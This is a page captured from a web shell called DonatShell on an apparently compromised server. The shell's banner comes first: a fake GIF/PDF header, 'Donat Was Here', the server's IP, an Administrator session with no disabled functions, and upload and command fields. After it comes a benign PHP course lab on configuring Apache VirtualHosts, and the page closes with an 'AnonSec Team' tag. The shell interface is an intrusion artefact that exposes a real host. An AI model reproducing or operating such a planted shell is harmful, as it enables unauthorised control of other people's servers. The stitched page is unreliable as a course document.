GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1611/Labs/Lab02/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1611/Labs/Lab02/Lab02.phpinc
<?
// JimMartinson/CST1611/Lab02.phpinc

#$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
#ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
#require('application.phpinc');

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
$dataFolder = '/var/www/html';
$apacheFolder = $dataFolder;
$disabled = '';
#$disabled = ' disabled'; // Comment this line to enable lab.

$directoryFile = '!'.$evaluationName.'-'.$userFullName.'.txt';

?>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend>
The purpose of this lab is to demonstrate the ability to create VirtualHosts with Apache directives.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> Assignment</legend>
<ol id="main" class="count">
	<!-- 1 -->
	<li>Setup a directory for this lab.
		<ol>
			<li>Create a directory called <b class="copyText"><?=$evaluationName?></b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory.</li>
			<li>Create a text file called <b class="copyText"><?=$saveFilename?>.txt</b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory</li>
		</ol>
	</li>
	<!-- 2 -->
	<li>Setup a Name-based VirtualHost.
		<ol>
			<li>Edit your <b>hosts</b> file and add a host definition.
				<ol>
					<li>Open your <b>/etc/hosts</b> file in a text editor.</li>
					<li>At the bottom of the file add the lines:
				<pre class="samp copyText"># <?=$evaluationName?><? echo "\n"; ?>127.0.0.1	CST1611.test</pre>
					<li>Save your changes.</li>
					<li>Verify the <b>CST1611.test</b> host works.
						<ol>
							<li>Open up a browser.</li>
							<li>Enter <b class="copyText">http://CST1611.test</b> in the address bar and hit enter.
								You should see a page similar to:<br>
								<? require('common/Browser/Browser.phpinc'); BrowserBegin('Index of /','http://CST1611.test/',600); ?>
								<h1 style="text-align:left;">Index of /</h1>
								<ul type="disc">
									<li><a href="" onClick="return false;">CST1611</a></li>
								</ul>
								<br>
								<? BrowserEnd(); ?>
							</li>
						</ol>
					</li>
				</ol>
			</li>
			<li>Use the <code>VirtualHost</code> directive to create a Name-based VirtualHost for the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory.
				<ol>
					<li>Create your virtualhost config file (cst1611.test.conf).</li>
					<li>Copy the default localhost VirtualHost directive lines. (000-default.conf)</li>
					<li>Modify the copy so that:
						<ol>
							<li><code>DocumentRoot</code> is <tt class="copyText"><?=$apacheFolder?>/<?=$courseNumber?></tt>.</li>
							<li><code>ServerName</code> is <tt class="copyText">CST1611.test</tt>.</li>
							<li><code>ErrorLog</code> is <tt class="copyText">/var/log/apache2/cst1611.test.Error.log</tt>.</li>
							<li><code>CustomLog</code> is <tt class="copyText">/var/log/apache2/cst1611.test.Access.log common</tt>.</li>
							<li><code>Directory</code> is <tt class="copyText"><?=$apacheFolder?>/<?=$courseNumber?>/</tt>.</li>
						</ol>
					</li>
					<li>Save your changes.</li>
					<li>Verify the <code>VirtualHost</code> works.
						<ol>
							<li>Restart Apache.</li>
							<li>Open up a browser.</li>
							<li>Enter <b class="copyText">http://CST1611.test</b> in the address bar and hit enter.
								You should see a page similar to:<br>
								<? BrowserBegin('Index of /','http://CST1611.test/',600); ?>
								<h1 style="text-align:left;">Index of /</h1>
								<ul class="disc">
									<? for ($labNumber=1; $labNumber<=$evaluationNumber; $labNumber++) {
										$thisLabNumber = twoDigit($labNumber);
										?>
									<li><a href="" onClick="return false;">Lab<?=$thisLabNumber?></a></li>
										<?
									} ?>
								</ul>
								<br>
								<? BrowserEnd(); ?>
							</li>
						</ol>
					</li>
				</ol>
			</li>
			<li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
				<br>Make sure that the address bar is visible in your screenshot before saving the image.
			</li>
		</ol>
	</li>
	<!-- 4 -->
	<li>Setup an IP-based VirtualHost.
		<ol>
			<li>Edit your <b>hosts</b> file and add a host definition.
				<ol>
					<li>Open your <b>/etc/hosts</b> file in a text editor editor like TextPad or Notepad.</li>
					<li>Determine your computer's IP address. <span class="note">This should be your Wi-Fi or Ethernet address. Do not use a 127.0.0 address.</span></li>
					<li>At the bottom of the file enter the line:
						<pre class="samp copyText"><var>0_0_0_0</var>	host-ip-address</pre>
						Where <var>0_0_0_0</var> is replaced with your computer's IP address.</li>
					<li>Save your changes.</li>
					<li>Verify the <b>host-ip-address</b> host works.
						<ol>
							<li>Open up a browser.</li>
							<li>Enter <b class="copyText">http://host-ip-address</b> in the address bar and hit enter.
								You should see a page similar to:<br>
								<? BrowserBegin('Index of /','http://host-ip-address/',600); ?>
								<h1 style="text-align:left;">Index of /</h1>
								<ul class="disc">
									<li><a href="" onClick="return false;">CST1611</a></li>
								</ul>
								<br>
								<? BrowserEnd(); ?>
							</li>
						</ol>
					</li>
				</ol>
			</li>
			<li>Use the <code>VirtualHost</code> directive to create a IP-based VirtualHost for the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
				<ol>
					<li>Create your virtualhost config file (host-ip-address.conf).</li>
					<li>Copy the default localhost VirtualHost directive lines. (000-default.conf)</li>
						<ol>
							<li><code>VirtualHost</code> IP address is <tt class="copyText">host-ip-address</tt> instead of <tt>*</tt>.
								<span class="note">
									We are using host-ip-address instead of the usual hard coded IP address so you can change the IP address in the hosts file for host-ip-address if your computer moves to another location.
									This allows you to get the IP-based VirtualHost working with the new location's IP address without having to edit the httpd.conf file.
								</span>
							</li>
							<li><code>DocumentRoot</code> is <tt class="copyText"><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?></tt>.</li>
							<li><code>ServerName</code> is unnecessary, remove the entire line.</li>
							<li><code>ErrorLog</code> is <tt class="copyText">/var/log/apache2/IP.Error.log</tt>.</li>
							<li><code>CustomLog</code> is <tt class="copyText">/var/log/apache2/IP.Access.log common</tt>.</li>
							<li><code>Directory</code> is <tt class="copyText"><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?>/</tt>.</li>
						</ol>
					</li>
					<li>Save your changes.</li>
					<li>Restart Apache.</li>
					<li>Verify the <code>VirtualHost</code> works.
						Restart Apache,open up a browser,enter <b class="copyText">http://host-ip-address</b> in the address bar and hit enter.
						You should see a page similar to:<br>
						<? BrowserBegin('Index of /','http://host-ip-address/',600); ?>
						<h1 style="text-align:left;">Index of /</h1>
						<ul type="disc">
							<li><a href="" onClick="return false;">!<?=$saveFilename?>.txt</a></li>
							<li><a href="" onClick="return false;"><?=$saveFilename?>.png</a></li>
						</ul>
						<br>
						<? BrowserEnd(); ?>
					</li>
				</ol>
			</li>
			<li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_IP.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
				<br>Make sure that the address bar is visible in your screenshot before saving the image.
			</li>
		</ol>
	</li>
	<!-- 5 -->
	<li>Turn in your assignment:
		<ol type="a">
			<li>Copy your <b>hosts</b> and <b>--virtualhosts--.conf(2 Files)</b> files into your <b><?=$evaluationName?></b> folder.</li>
			<li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:
				<ul>
					<li><?=$saveFilename?>.txt</li>
					<li><?=$saveFilename?>.png</li>
					<li><?=$saveFilename?>_IP.png</li>
					<li>hosts</li>
					<li>cst1611.test.conf</li>
					<li>host-ip-address.conf</li>
				</ul>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
	</li>
</ol>
<?=$gradeNote?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
require('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team